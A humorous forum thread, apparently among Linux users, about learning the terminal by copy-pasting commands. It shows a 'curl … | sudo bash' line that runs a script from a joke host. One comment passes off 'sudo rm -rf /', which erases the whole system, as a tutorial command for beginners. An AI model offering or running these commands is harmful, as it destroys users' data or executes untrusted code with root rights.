Nothing better than
curl https://totally-legit-installer.com/script | sudo bashThat’s probably how most of us started, but then you start getting familiar with things…
And that’s when you really get good at breaking shit.
In my early days I would reinstall the whole OS several times a week when I would fuck things up too much.
I actually take the time to type everything out, but I still have no idea what I’m doing.
I’m in a helpful mood so I’ll add something for anyone stuck in OP’s situation.
It’s ok, Linux has a built in tutorial system for learning the terminal, so if you ever want to progress beyond copy/pasting, you can use that.
Just go into the terminal and type (or just copy/paste) this to get the tutorial program running:
sudo rm -rf /Type your password when prompted and you’re golden. No more linux issues ever again.
I tried your command and got the tutorial program and I gotta say that this is the best tutorial program I’ve ever seen. Now I wonder why other OSes don’t do that
I don’t think that’s a terrible way of getting started. Your subconscious will do the rest at some point, unless you’re really not interested at all (which isn’t a problem either). :)
The real learning happens when you copy and paste something you shouldn’t and bork your system. That’s basically how I started.
Me learning anything ever. Troubleshooting is the real learning phase.
No offence, but I hope you don’t hold a high ranking government position, what with catastrophic error being the only way you learn 😁
I hope I never hold a high ranking government position too
